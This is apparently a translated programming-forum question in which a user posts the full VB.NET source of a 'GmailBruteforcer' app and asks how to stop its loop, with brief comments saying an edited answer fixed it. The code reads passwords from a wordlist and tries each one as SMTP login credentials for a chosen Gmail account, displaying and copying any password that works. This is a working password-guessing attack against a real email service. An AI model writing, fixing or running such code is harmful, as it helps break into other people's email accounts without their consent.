0
我想停止循環,當它完成後,我不知道如何阻止它。這裏是完整的源代碼。停止循環VB.NET
Imports System.Net.Mail
Public Class GmailBruteforcer
Private Sub GmailBruteforcer_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
OpenFileDialog1.Title = "Please Select a File"
OpenFileDialog1.AddExtension = True
OpenFileDialog1.Filter = "Text Files (*.txt) |*.txt"
OpenFileDialog1.ShowDialog()
End Sub
Private Sub OpenFileDialog1_FileOk(sender As Object, e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
Dim strm As System.IO.Stream
strm = OpenFileDialog1.OpenFile()
TextBox2.Text = OpenFileDialog1.FileName.ToString()
If Not (strm Is Nothing) Then
strm.Close()
End If
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
emailloop()
End Sub
Sub emailloop()
Dim objReader As New System.IO.StreamReader(TextBox2.Text)
For i As Int32 = 0 To 100000
TextBox3.Text = objReader.ReadLine
If TextBox3.Text = "" Then MsgBox("Password not found")
Try
Dim mail As New MailMessage
mail.To.Add("[email protected]")
mail.From = New MailAddress(TextBox1.Text)
mail.Subject = "test123"
mail.Body = TextBox3.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text)
SMTP.Send(mail)
MsgBox(" Password: " + TextBox3.Text)
Clipboard.SetText(TextBox3.Text)
MsgBox("Password Copied!")
Catch ex As Exception
End Try
Next
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
End Sub
End Class
它顯示我此錯誤 'objReader' 未聲明。由於其保護級別,它可能無法訪問。 –
請檢查編輯答案 – Harsh
感謝它工作 –